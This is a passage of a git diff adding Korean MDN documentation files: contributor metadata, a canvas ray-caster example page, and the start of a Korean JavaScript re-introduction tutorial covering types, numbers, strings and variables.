+      "alattalatta",
+      "oohii"
+    ]
+  },
+  "WebAPI/Detecting_device_orientation": {
+    "modified": "2019-03-23T23:27:06.270Z",
+    "contributors": [
+      "ingpdw",
+      "PillarLee",
+      "junho85"
+    ]
+  },
+  "WebAPI/Managing_screen_orientation": {
+    "modified": "2019-03-23T23:27:05.980Z",
+    "contributors": [
+      "teoli",
+      "junho85"
+    ]
+  },
+  "WebAPI/Network_Information": {
+    "modified": "2019-03-23T23:26:43.220Z",
+    "contributors": [
+      "hyeonseok"
+    ]
+  },
+  "WebAPI/Proximity": {
+    "modified": "2019-03-23T23:26:46.443Z",
+    "contributors": [
+      "yunji_koh"
+    ]
+  },
+  "WebAPI/Using_Light_Events": {
+    "modified": "2020-10-15T21:24:18.175Z",
+    "contributors": [
+      "alattalatta",
+      "hyeonseok"
+    ]
+  },
+  "WebAPI/Using_Web_Notifications": {
+    "modified": "2020-03-08T01:03:17.759Z",
+    "contributors": [
+      "feeva",
+      "oohii",
+      "junho85"
+    ]
+  },
+  "WebAPI/Using_geolocation": {
+    "modified": "2020-04-03T04:36:16.235Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "chooco13",
+      "hallower",
+      "mmnmm",
+      "xcoda"
+    ]
+  },
+  "WebAssembly": {
+    "modified": "2020-10-15T21:52:54.017Z",
+    "contributors": [
+      "limkukhyun",
+      "lastmirage",
+      "kesuskim",
+      "0xABCDEF",
+      "lukewagner"
+    ]
+  },
+  "WebAssembly/C_to_wasm": {
+    "modified": "2020-10-29T08:46:10.367Z",
+    "contributors": [
+      "limkukhyun",
+      "jung-han",
+      "04SeoHyun",
+      "nakyong"
+    ]
+  },
+  "WebAssembly/Caching_modules": {
+    "modified": "2019-03-18T21:26:57.835Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "WebAssembly/Concepts": {
+    "modified": "2020-09-05T00:16:32.734Z",
+    "contributors": [
+      "jung-han",
+      "kyhsa93",
+      "limkukhyun",
+      "Jungbin-Kim",
+      "mingrammer",
+      "kesuskim",
+      "0xABCDEF"
+    ]
+  },
+  "WebAssembly/Exported_functions": {
+    "modified": "2019-03-18T21:27:58.372Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "WebAssembly/Loading_and_running": {
+    "modified": "2019-03-23T22:11:38.016Z",
+    "contributors": [
+      "limkukhyun",
+      "kesuskim"
+    ]
+  },
+  "WebAssembly/Rust_to_wasm": {
+    "modified": "2020-06-15T19:31:56.028Z",
+    "contributors": [
+      "fantajeon",
+      "04SeoHyun",
+      "piutranq",
+      "limkukhyun"
+    ]
+  },
+  "WebAssembly/Text_format_to_wasm": {
+    "modified": "2019-03-18T21:28:27.225Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "WebAssembly/Understanding_the_text_format": {
+    "modified": "2019-03-23T22:04:19.997Z",
+    "contributors": [
+      "limkukhyun",
+      "a1p4ca",
+      "composite"
+    ]
+  },
+  "WebAssembly/Using_the_JavaScript_API": {
+    "modified": "2019-12-26T10:33:44.717Z",
+    "contributors": [
+      "04SeoHyun",
+      "limkukhyun"
+    ]
+  },
+  "WebAssembly/existing_C_to_wasm": {
+    "modified": "2019-03-18T21:28:25.734Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "WebSockets": {
+    "modified": "2019-03-23T23:30:25.980Z",
+    "contributors": [
+      "d-wook",
+      "Geun-Hyung_Kim",
+      "pjc0247",
+      "ELem"
+    ]
+  },
+  "WebSockets/Writing_WebSocket_client_applications": {
+    "modified": "2020-11-11T22:09:43.354Z",
+    "contributors": [
+      "CJ_Lee",
+      "VBChunguk",
+      "michellehuh",
+      "pjc0247",
+      "rutesun"
+    ]
+  },
+  "WebSockets/Writing_WebSocket_servers": {
+    "modified": "2020-11-26T05:53:45.381Z",
+    "contributors": [
+      "gdev219",
+      "soon0698",
+      "lpsgm63",
+      "zerunus",
+      "SQLGate",
+      "green-autumn",
+      "pjc0247"
+    ]
+  },
+  "Web_Development": {
+    "modified": "2019-03-23T23:41:47.329Z",
+    "contributors": [
+      "teoli",
+      "Jiyoon",
+      "Unixcruiser",
+      "Netaras",
+      "Sebuls"
+    ]
+  },
+  "Windows_and_menus_in_XULRunner": {
+    "modified": "2019-01-16T15:50:48.799Z",
+    "contributors": [
+      "Channy"
+    ]
+  },
+  "XHTML": {
+    "modified": "2019-12-26T10:45:10.722Z",
+    "contributors": [
+      "04SeoHyun",
+      "jeonnoej",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko": {
+    "modified": "2019-01-16T16:14:51.504Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko/Basic_Example": {
+    "modified": "2019-01-16T16:14:48.906Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko/Browser_Differences": {
+    "modified": "2019-01-16T16:15:11.615Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko/Generating_HTML": {
+    "modified": "2019-01-16T16:14:51.789Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko/Introduction": {
+    "modified": "2019-01-16T16:14:50.568Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "XSLT_in_Gecko/Resources": {
+    "modified": "2019-03-23T23:42:20.360Z",
+    "contributors": [
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "개발자를_위한_Firefox_3.6": {
+    "modified": "2019-12-13T20:33:13.788Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "teoli",
+      "kladess"
+    ]
+  },
+  "지역의_코드를_씁니다.": {
+    "modified": "2019-01-16T14:36:32.523Z",
+    "contributors": [
+      "wkdqudso"
+    ]
+  },
+  "확장기능_개발_환경_구축": {
+    "modified": "2019-03-24T00:02:16.151Z",
+    "contributors": [
+      "teoli",
+      "kladess"
+    ]
+  }
+}
\ No newline at end of file
diff --git a/files/ko/a_basic_raycaster/index.html b/files/ko/a_basic_raycaster/index.html
new file mode 100644
index 0000000000..950b0f5366
--- /dev/null
+++ b/files/ko/a_basic_raycaster/index.html
@@ -0,0 +1,53 @@
+---
+title: A basic ray-caster
+slug: A_Basic_RayCaster
+tags:
+  - Advanced
+  - Canvas
+  - Example
+  - Graphics
+  - HTML
+  - Web
+translation_of: Web/API/Canvas_API/A_basic_ray-caster
+---
+<div>{{CanvasSidebar}}</div>
+
+<p>This article provides an interesting real-world example of using the {{HTMLElement("canvas")}} element to do software rendering of a 3D environment using ray-casting.</p>
+
+<p>{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}</p>
+
+<p><strong><a href="http://mdn.github.io/canvas-raycaster/">Open in new window</a></strong></p>
+
+<h2 id="Why.3F" name="Why.3F">Why?</h2>
+
+<p>After realizing, to my delight, that the nifty <code>&lt;canvas&gt;</code> element I'd been <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#dynamic">reading about</a> was not only soon to be supported in Firefox, but was <strong>already</strong> supported in the current version of Safari, I had to try a little experiment.</p>
+
+<p>The canvas <a href="/en-US/docs/Web/API/Canvas_API">overview</a> and <a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">tutorial</a> I found here at MDN are great, but nobody had written about animation yet, so I thought I'd try a port of a basic raycaster I'd worked on a while ago, and see what sort of performance we can expect from a JavaScript-controlled pixel buffer.</p>
+
+<h2 id="How.3F" name="How.3F">How?</h2>
+
+<p>The basic idea is to use {{domxref("window.setInterval","setInterval()")}} at some arbitrary delay that corresponds to a desired frame rate. After every interval an update function will repaint the canvas showing the current view. I know I could have started with a simpler example, but I'm sure the canvas tutorial will <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">get to that</a>, and I wanted to see if I could do this.</p>
+
+<p>So every update, the raycaster looks to see if you've pressed any keys lately, to conserve calculations by not casting if you're idle. If you have, then the canvas is cleared, the ground and sky are drawn, the camera position and/or orientation are updated, and the rays are cast out. As the rays intersect walls, then they render a vertical sliver of canvas in the color of the wall they've hit, blended with a darker version of the color according to the distance to the wall. The height of the sliver is also modulated by the distance from the camera to the wall, and is drawn centered over the horizon line.</p>
+
+<p>The code I ended up with is a regurgitated amalgam of the raycaster chapters from an old André LaMothe<em>Tricks of the Game Programming Gurus</em> book (<small>ISBN: 0672305070</small>), and a <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a> I found online, filtered through my compulsion to rename everything so it makes sense to me, and all the tinkering that had to be done to make things work well.</p>
+
+<h2 id="Results" name="Results">Results</h2>
+
+<p>The canvas in Safari 2.0.1 performed surprisingly well. With the blockiness factor cranked up to render slivers 8 pixels wide, I can run a 320 x 240 window at 24 fps on my Apple mini. Firefox 1.5 Beta 1 is even faster; I can run 320 x 240 at 24 fps with 4 pixel slivers. Not exactly a new member of the ID software family, but pretty decent considering it's a fully interpreted environment, and I didn't have to worry about memory allocation or video modes or coding inner routines in assembler or anything. The code does attempt to be very efficient, using array look-ups of pre-computed values, but I'm no optimization guru, so things could probably be written faster.</p>
+
+<p>Also, it leaves a lot to be desired in terms of trying to be any sort of game engine—there are no wall textures, no sprites, no doors, not even any teleporters to get to another level. But I'm pretty confident all those things could be added given enough time. The canvas API supports pixel copying of images, so textures seem feasible. I'll leave that for another article, probably from another person. =)</p>
+
+<h2 id="The_RayCaster" name="The_RayCaster">The ray-caster</h2>
+
+<p>The nice people here have manually copied my files up so you can take a <a href="http://mdn.github.io/canvas-raycaster/">look</a>, and for your hacking enjoyment I've posted the individual file contents as code listings (see below).</p>
+
+<p>So there you are, fire up Safari 1.3+ or Firefox 1.5+ or some other browser that supports the <code>&lt;canvas&gt;</code> element and enjoy!<br>
+ <br>
+ <small><a href="https://github.com/mdn/canvas-raycaster/blob/master/input.js">input.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Level.js">Level.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Player.js">Player.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/index.html">RayCaster.html</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/RayCaster.js">RayCaster.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.css">trace.css</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.js">trace.js</a> </small></p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+</ul>
diff --git a/files/ko/a_re-introduction_to_javascript/index.html b/files/ko/a_re-introduction_to_javascript/index.html
new file mode 100644
index 0000000000..7206716138
--- /dev/null
+++ b/files/ko/a_re-introduction_to_javascript/index.html
@@ -0,0 +1,1038 @@
+---
+title: JavaScript 재입문하기 (JS ​튜토리얼)
+slug: A_re-introduction_to_JavaScript
+tags:
+  - CodingScripting
+  - Intermediate
+  - Intro
+  - JavaScript
+  - Learn
+  - Tutorial
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<p>어째서 재입문일까요? 왜냐하면, <a href="/ko/docs/Glossary/JavaScript">JavaScript</a>는 <a class="external" href="http://javascript.crockford.com/javascript.html">세계에서 가장 오해받고 있는 프로그래밍 언어</a>로 악명이 높기 때문입니다. 종종 장난감같다고 조롱당하기도했지만, 이 거짓말같은 단순함 아래에는 몇 가지의 강력한 언어 기능이 숨어 있습니다. Javascript는 현재 엄청나게 많은, 요즘 가장 뜨고있는 애플리케이션들에 사용되고 있어서, 웹 또는 모바일 개발자 누구에게라도 이 기술에 대한 깊은 지식이 중요한 기량이 된다는 것을 보여주고 있습니다.</p>
+
+<p>이 이야기를 이해하는데는 이 언어의 역사를 먼저 보는 것이 도움이 됩니다. JavaScript는 1995년 Netscape의 엔지니어 Brendan Eich에 의해 만들어졌고, 1996년 초에 Netscape 2와 함께 처음 릴리즈 되었습니다. 이것은 원래 LiveScript로 불리기로 되어 있었습니다만 Sun Microsystem의 Java 언어의 성공에 편승해보려고 -두 언어 사이의 공통점이 매우 적음에도 불구하고- 불행이 예견된 마케팅 결정에 따라 이름이 바뀌게 됩니다. 이 결정은 역사상 유래가 없는 혼란의 근원이 되어버립니다.</p>
+
+<p>몇 달 후, Microsoft는 IE3와 함께 JScript를 발표했습니다. 이 JScript는 Javascript를 정말 닮았고 호환성이 좋았습니다. 몇 달 뒤에, Netscape는 1997년에 <a href="/ko/docs/Glossary/ECMAScript">ECMAScript</a> 표준의 첫번째 판이 되는 JavaScript를 유럽 표준화 단체인 <a class="external" href="http://www.ecma-international.org/">Ecma International</a>에 보냅니다. 이 표준은 1999년에 <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a>에 따라 큰 규모의 개정을 거친 후, 유례없이 아주 안정된 상태로 계속 유지되고 있습니다. <span style="line-height: 16.7999992370605px;">4번째 판은 중도 포기되었는데, 언어의 복잡성 증가에 관련한 정치적 문제 때문이었습니다. 이 4번째 판의 많은 파트들은 ECMAScript edition 5 (2009년 12월에 출간)와 6번째 개정판 규격(2015년에 출간)의 근간을 형성하고 있습니다. </span></p>
+
+<div class="note">
+<p> 이제부터는 ECMAScript를 우리에게 좀 더 친근한 말인 <span style="line-height: 16.7999992370605px;"> "</span>JavaScript"라고 부르겠습니다.</p>
+</div>
+
+<p>대부분의 프로그래밍 언어와는 달리, JavaScript 언어는 입출력 개념이 없습니다. 이 언어는 호스트 환경 아래에서 스크립트 언어로서 동작하도록 디자인 되어있고, 따라서 외부 세계와 통신하기위해 호스트 환경이 제공하는 메커니즘에 의존합니다. 대부분의 경우 일반적인 호스트 환경은 브라우저이지만 JavaScript 인터프리터는 Adobe Acrobat, Photoshop, SVG images, Yahoo! 위젯 엔진 등의 제품에서도 발견할 수 있고, <a href="http://nodejs.org/">node.js</a> 와 같은 서버 측 환경에서도 찾을 수 있습니다. 하지만 JavaScript가 사용되는 분야는 계속 더 넓혀지고 있습니다. NoSQL 데이터베이스, <a href="http://couchdb.apache.org/">Apache CouchDB</a>, 임베디드 컴퓨터, GNU/Linux OS의 가장 유명한 GUI 인 <a href="http://www.gnome.org/">GNOME</a> 과 같은 데스크톱 환경에서도 JavaScript가 사용됩니다.</p>
+
+<h2 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h2>
+
+<p>JavaScript는 유형 및 연산자, 표준 내장 객체 및 메소드가 있는 다중 패러다임, 동적 언어입니다. 구문은 Java 및 C 언어를 기반으로합니다. 이러한 언어의 많은 구조가 JavaScript에도 적용됩니다. JavaScript는 클래스 대신 객체 프로토 타입을 사용하여 객체 지향 프로그래밍을 지원합니다 (<a href="/ko//docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">프로토 타입 상속</a> 및 ES2015 {{jsxref("Classes")}}). JavaScript는 함수형 프로그래밍도 지원합니다. 함수는 객체이며, 함수는 실행 가능한 코드를 유지하고 다른 객체와 마찬가지로 전달 될 수 있습니다.</p>
+
+<p>어떤 언어에서라도 기초가 되는 부분인 타입을 살펴보는 것부터 시작해봅시다. JavaScript 프로그램은 값을 다루고 해당 값은 모두 타입을 가지고 있습니다. JavaScript의 타입은 다음과 같습니다:</p>
+
+<ul>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Number">수 (Number)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/String">문자열 (String)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Boolean">부울 (Boolean)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Function">함수 (Function)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Object">객체 (Object)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Symbol">기호 (Symbol)</a> (ES2015에 새롭게 추가)</li>
+</ul>
+
+<p>... 오, 그리고 약간 특별한 타입인 정의되지 않음(Undefined) 과 널(Null) 이 있습니다. 또한 객체의 특별한 종류인 <a href="ko/Web/JavaScript/Reference/Global_Objects/Array">배열(Array) 객체</a>. 그리고 자유롭게 사용할 수 있는 <a href="ko/Web/JavaScript/Reference/Global_Objects/Date">날짜(Date) 객체</a> 와 <a href="ko/Web/JavaScript/Reference/Global_Objects/RegExp">정규식(RegExp) 객체</a>가 있습니다. 그리고 기술적으로 정확히 말해 함수(Function)는 단지 객체의 특별한 타입으로 취급됩니다. 따라서 타입 구조도를 정리해보면 다음과 같습니다:</p>
+
+<ul>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Number">수 (Number)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/String">문자열 (String)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Boolean">부울 (Boolean)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Symbol">기호 (Symbol)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Object">객체 (Object)</a>
+  <ul>
+   <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Function">함수 (Function)</a></li>
+   <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Array">배열 (Array)</a></li>
+   <li><a href="ko/Web/JavaScript/Reference/Global_Objects/Date">날짜 (Date)</a></li>
+   <li><a href="ko/Web/JavaScript/Reference/Global_Objects/RegExp">정규식 (RegExp)</a></li>
+  </ul>
+ </li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/null">널 (Null)</a></li>
+ <li><a href="ko/Web/JavaScript/Reference/Global_Objects/undefined">정의되지 않음 (Undefined)</a></li>
+</ul>
+
+<p>그리고 또 몇 가지 <a href="ko/Web/JavaScript/Reference/Global_Objects/Error">오류</a> 타입이 내장되어 있습니다. 그렇지만 처음 구조도를 기억하고만 있으면 다른 것들도 아주 쉽게 이해할 수 있을 것입니다.</p>
+
+<h2 id=".EC.88.98_.28Numbers.29" name=".EC.88.98_.28Numbers.29">수 (Numbers)</h2>
+
+<p>설계 명세서에 의하면 JavaScript에서 수는 "이중정밀도 64비트 형식 IEEE 754 값"으로 정의됩니다. 이것은 몇가지 흥미로운 결과를 가져옵니다. JavaScript에는 <strong>정수와 같은 것이 존재하지 않으므로 </strong>({{jsxref("BigInt")}} 제외), 조금 조심해야 합니다. 이 예제를 보세요:</p>
+
+<pre class="syntaxbox notranslate">console.log(3 / 2);             // 1이 아닌, 1.5
+console.log(Math.floor(3 / 2)); // 1</pre>
+
+<p><em>명백한 정수</em>는 사실 <em>암묵적으로 실수</em>입니다.</p>
+
+<p>또한, 다음과 같은 것들을 주의하세요:</p>
+
+<pre class="brush: js notranslate">0.1 + 0.2 = 0.30000000000000004
+</pre>
+
+<p>실제로 정수 값은 32 비트 정수로 처리되며 일부 구현은 32 비트 정수가 아닌 숫자에 유효한 명령어를 수행 할 때까지 이러한 방식으로 저장합니다. 이는 비트 단위 작업에 중요 할 수 있습니다.</p>
+
+<p>덧셈, 뺄셈, 계수 (또는 나머지) 연산을 포함하는 표준 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators">산술 연산자</a>가 지원됩니다. 또한 앞에서 언급하는 것을 깜박 잊은 고급 수학 함수와 상수를 다루기 위한 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Math">수학(Math)</a>으로 불리는 내장 객체가 있습니다:</p>
+
+<pre class="brush: js notranslate">Math.sin(3.5);
+var circumference = 2 * Math.PI * r;</pre>
+
+<p>내장 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Functions/parseInt">parseInt()</a></code> 함수를 사용하여 문자열을 정수로 변환할 수 있습니다. 이는 다음과 같이 옵션으로 주어지는 두번째 매개변수를 밑으로 하여 수행할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">parseInt('123', 10); // 123
+parseInt('010', 10); // 10</pre>
+
+<p>구형 브라우저에서 "0"으로 시작하는 문자열은 8 진수 (기수 8)로 가정되지만, 2013 년 이후에는 그렇지 않습니다. 문자열 형식이 확실하지 않으면 이전 브라우저에서 놀라운 결과를 얻을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">parseInt('010');  //  8
+parseInt('0x10'); // 16</pre>
+
+<p>이 같은 결과는 <code>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</code> 함수가 0으로 시작되는 문자열을 8진수로, "0x"로 시작하는 문자열은 16진수로 취급하기 때문에 발생합니다. 16진수 표기법이 그대로 유지됩니다. 8진수는 제거되었습니다.</p>
+
+<p>만약 이진수를 정수로 변환하고 싶다면, 밑을 바꾸기만하면 됩니다:</p>
+
+<pre class="brush: js notranslate">parseInt('11', 2); // 3
+</pre>
+
+<p>이와 비슷하게, 내장 함수 {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}를 사용하여 부동 소수점 숫자를 파싱 할 수 있습니다. {{jsxref("Global_Objects/parseInt", "parseInt()")}}과 달리 parseFloat()는 항상 10진수를 사용합니다.</p>
+
+<p>단항 연산자 + 를 사용하여 값을 숫자로 변환 할 수도 있습니다:</p>
+
+<pre class="brush: js notranslate">+ '42';   // 42
++ '010';  // 10
++ '0x10'; // 16</pre>
+
+<p>문자열이 수가 아닌 경우 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/NaN">NaN</a></code> ("Not a Number" (수가 아님)을 줄인 약자)로 불리는 특별한 값을 돌려줍니다:</p>
+
+<pre class="brush: js notranslate">parseInt('hello', 10); // NaN
+</pre>
+
+<p><code>NaN</code> 는 독성을 가지고 있습니다: 어떤 수학 연산의 입력값으로써 주어지면 그 결과는 역시 <code>NaN</code>가 되기 때문입니다:</p>
+
+<pre class="brush: js notranslate">NaN + 5; // NaN
+</pre>
+
+<p>내장 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Functions/isNaN">isNaN()</a></code> 함수를 사용해서 <code>NaN</code> 인지 여부를 검사할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">isNaN(NaN); // true
+</pre>
+
+<p>JavaScript는 또 특별한 값 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/Infinity">Infinity</a></code>와 <code>-Infinity</code>를 가지고 있습니다:</p>
+
+<pre class="brush: js notranslate"> 1 / 0; //  Infinity
+-1 / 0; // -Infinity</pre>
+
+<p>내장 함수 {{jsxref("Global_Objects/isFinite", "isFinite()")}}를 사용하여 Infinity, -Infinity 및 NaN 값을 테스트 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">isFinite(1 / 0);     // false
+isFinite(-Infinity); // false
+isFinite(NaN);       // false</pre>
+
+<div class="note">
+<p>{{jsxref("Global_Objects/parseInt", "parseInt()")}} 와 {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} 함수는 숫자로 아닌 문자가 나올때까지 문자열을 파싱하고, 그 지점까지 파싱된 숫자를 반환합니다. 그런데 "+"연산자는 중간에 유효하지 않은 문자가 있으면 그대로 문자열을 <code>NaN</code> 으로 그냥 변환해버립니다. console에서 "10.2abc"를 파싱해보면 어떤점이 다른지 더 쉽게 이해할 수 있습니다.</p>
+</div>
+
+<h2 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.28Strings.29" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.28Strings.29">문자열 (Strings)</h2>
+
+<p>JavaScript에서 문자열은 <a href="ko/Core_JavaScript_1.5_Guide/Unicode">유니코드 문자들</a>이 연결되어 만들어진 것입니다. 이는 국제화(i18n, internationalization) 하려하는 누구에게라도 환영받을만한 소식입니다. 좀 더 정확히 말하자면, 각각이 16비트 숫자로 표현된 UTF-16 코드 유닛이 길게 이어져있는 것입니다. 각 유니코드 문자는 1개나 2개의 코드 유닛으로 표현됩니다.</p>
+
+<p>한 개의 문자를 나타내려면 길이가 1인 문자열을 사용하면 됩니다.</p>
+
+<p>문자열의 길이를 알고싶다면, 해당 문자열의 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code> 속성(해당 객체가 소유하고 있는 성질을 나타내는 값)에 접근하면 됩니다:</p>
+
+<pre class="brush: js notranslate">'hello'.length; // 5
+</pre>
+
+<p>우리의 첫 JavaScript 객체입니다! 문자열도 역시 객체로 취급된다고 언급했던적이 있죠? 다음과 같이 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods">메소드</a>까지 있는 확실한 녀석입니다:</p>
+
+<pre class="brush: js notranslate">'hello'.charAt(0); // "h"
+'hello, world'.replace('hello', 'goodbye'); // "goodbye, world"
+'hello'.toUpperCase(); // "HELLO"</pre>
+
+<h2 id=".EC.9D.B4.EC.99.B8.EC.9D.98_.ED.83.80.EC.9E.85.EB.93.A4" name=".EC.9D.B4.EC.99.B8.EC.9D.98_.ED.83.80.EC.9E.85.EB.93.A4">이외의 타입들</h2>
+
+<p>JavaScript는 의도적으로 값이 없음을 가리키는 '객체' 타입의 객체인 <code>null</code>과 초기화되지 않은 값 — 아직 어떤 값도 주어지않은(할당되지않은) 변수임을 가리키는 '정의되지 않음' 타입의 객체인 <code>undefined</code>로 구분됩니다. 값에 대해서 나중에 언급할 것이지만 JavaScript에서 변수에 값을 주지않고 선언하는 것이 가능합니다. 이럴 경우, 변수의 타입은 <code>undefined</code>이 되는 것입니다.</p>
+
+<p>JavaScript는 <code>true</code> 와 <code>false</code> 값 (둘은 모두 키워드로 예약되어있는 값)을 가질 수 있는 부울 타입을 가지고 있습니다. 다음과 같은 규칙에 따라 어떤 임의의 값을 부울값으로 변환할 수 있습니다:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, 빈 문자열 (<code>""</code>), 수가 아님을 뜻하는 <code>NaN</code>, <code>null</code>, 와 <code>undefined</code>은 모두 <code>false</code>가 됩니다.</li>
+ <li>다른 모든 값은 <code>true</code>가 됩니다.</li>
+</ol>
+
+<p>이 변환은 <code>Boolean()</code> 함수를 써서 명시적으로 이 작업을 수행하실 수 있습니다:</p>
+
+<pre class="brush: js notranslate">Boolean('');  // false
+Boolean(234); // true</pre>
+
+<p>하지만 반드시 이렇게 할 필요는 거의 없습니다. JavaScript는 이러한 변환 작업을 <code>if</code> 문 (아래를 보세요)과 같이 부울값이 필요한 경우를 만나게되면 자동으로 사용자가 모르는 사이에 처리해버리기 때문입니다. 이러한 이유로 인해 우리는 가끔 부울 타입으로 변환되었을 때, <code>true</code>와 <code>false</code>이 됨을 의미하는 값들을 각각 "참 값"과 "거짓 값"으로 부를 것입니다. 또는 각각 "참으로 취급되다"와 "거짓으로 취급되다"라는 식으로 불릴 수도 있습니다.</p>
+
+<p>부울 연산자는 <code>&amp;&amp;</code> (논리적<em>와, 그리고</em> ), <code>||</code> (논리적<em>또는</em> ), 그리고 <code>!</code> (논리적<em>부정</em> )이 지원됩니다. 아래에서 다시 언급하겠습니다.</p>
+
+<h2 id=".EB.B3.80.EC.88.98_.28Variables.29" name=".EB.B3.80.EC.88.98_.28Variables.29">변수 (Variables)</h2>
+
+<p>JavaScript에서 새로운 변수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, <code><a href="/ko/docs/Web/HTML/Element/var">var</a></code> 키워드로 선언됩니다.</p>
+
+<p><code>let</code>을 사용하면 블록 유효 범위 변수를 선언 할 수 있습니다. 선언 된 변수는 <em>변수가 포함 된 함수 블록</em>에서 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">let a;
+let name = 'Simon';</pre>
+
+<p>아래는 let으로 선언한 변수가 가지는 유효 범위의 예제입니다. </p>
+
+<pre class="brush: js notranslate">// myLetVariable는 여기에서 보이지 *않습니다*
+
+for (let myLetVariable = 0; myLetVariable &lt; 5; myLetVariable++) {
+  // myLetVariable는 여기에서 유효합니다
+}
+
+// myLetVariable는 여기에서 보이지 *않습니다*</pre>
+
+<p><code>const</code>는 값이 변경되지 않는 변수를 선언 할 수 있게 합니다. 변수는 <em>변수가 선언 된 함수 블록</em>에서 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">const Pi = 3.14; // 변수 Pi 설정
+Pi = 1; // 상수로 설정된 변수는 변경 할 수 없기 때문에 애러 발생.</pre>
+
+<p><code>var</code>은 가장 일반적인 변수 선언 키워드입니다. <code>let</code>, <code>const</code> 키워드가 가지는 제한을 <code>var</code>은 갖지 않습니다. 이는 자바스크립트에서 변수를 선언하는 전통적인 유일한 방법이었기 때문입니다. <code>var</code> 키워드로 선언 된 변수는 <em>변수가 선언 된 함수 블록</em>에서 사용 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var a;
+var name = 'Simon';</pre>
+
+<p>var로 선언한 변수의 유효 범위 예제입니다.</p>
+
+<pre class="brush: js notranslate">// myVarVariable는 여기에서 사용 할 수 *있습니다*
+
+for (var myVarVariable = 0; myVarVariable &lt; 5; myVarVariable++) {
+  // myVarVariable는 함수 전체에서 사용 할 수 있습니다.
+}
+
+// myVarVariable는 여기에서 사용 할 수 *있습니다*</pre>
+
+<p>변수에 값을 지정하지 않고 변수를 선언하면, 타입은 <code>undefined</code>로 지정 됩니다.</p>
+
+<p>자바스크립트와 자바 같은 다른 언어 사이의 중요한 차이점은 자바스크립트는 블록에 범위가 없다는 것입니다. 함수에만 범위가 있습니다. 변수가 복합 문에서 (예를 들어 <code>if</code> 제어 구조 내에서) var를 사용하여 정의 된 경우 전체 함수에서 볼 수 있습니다. 그러나 ECMAScript 2015부터 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 및 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/const">const</a></code> 선언을 사용하면 블록 범위 변수를 만들 수 있습니다.</p>
+
